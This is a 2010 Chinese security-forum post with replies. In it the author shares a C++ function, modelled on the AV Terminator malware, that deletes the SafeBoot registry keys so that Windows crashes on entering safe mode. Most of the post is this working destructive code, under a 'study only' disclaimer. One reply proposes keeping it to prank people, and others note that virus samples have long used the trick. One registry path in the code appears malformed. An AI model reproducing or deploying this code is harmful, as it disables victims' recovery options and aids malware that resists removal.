-
-
[原创]破坏安全模式
-
发表于: 2010-1-25 10:19
-
by:乱雪
hi.baidu.com/lu4nx
参考AV终结者写的一个小函数，直接删注册表的内容，方法很简单，不过网上很少看到有这方面的资料，恢复起来也容易：）
hi.baidu.com/lu4nx
参考AV终结者写的一个小函数，直接删注册表的内容，方法很简单，不过网上很少看到有这方面的资料，恢复起来也容易：）
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | /*破坏安全模式,by:乱雪2010.1.24警告:仅用于技术学习使用,禁止使用到非法用途.说明:直接通过删除注册表里关键子键达到无法进入安全模式的目的,一进安全模式就蓝屏,参考AV终结者的功能写的.*/VOID KillSafeMode(){HKEY hKey[5];::RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\ControlSet001\\Control\\SafeBoot\\Minimal",&hKey[1]);::RegDeleteKey(hKey[1],"{4D36E967-E325-11CE-BFC1-08002BE10318}");::RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\ControlSet001\\Control\\SafeBoot\\Network",&hKey[2]);::RegDeleteKey(hKey[2],"{4D36E967-E325-11CE-BFC1-08002BE10318}");::RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal",&hKey[3]);::RegDeleteKey(hKey[3],"{4D36E967-E325-11CE-BFC1-08002BE10318}");::RegOpenKey(HKEY_LOCAL_MACHINE,"CurrentControlSet\\Control\\SafeBoot\\Network",&hKey[4]);::RegDeleteKey(hKey[4],"{4D36E967-E325-11CE-BFC1-08002BE10318}");::RegCloseKey(hKey[1]);::RegCloseKey(hKey[2]);::RegCloseKey(hKey[3]);::RegCloseKey(hKey[4]);} |
|
|
|---|---|
|
|
|
|
|
|
|
|
我吐了
|
|
|
网上比较少这方面的内容？LZ开玩笑吧，我看过的病毒样本里有这一段的都不知道多少个了，熊猫烧香以前就有人用的招
|
|
|
|
|
|
你自己都说参考AV终结者了，那是哪年哪月的东西了
|
|
|
那是因为自己在写时 想到了AV终结者有这个功能 哈哈 因为对它的印象深一点
|
|
|
|
|
|
|
|
|
留一份吧 以后整人用得着
|
|
|
膜拜乱雪大黑客ing....
|
|
|
|
|
|
|
|
|
|
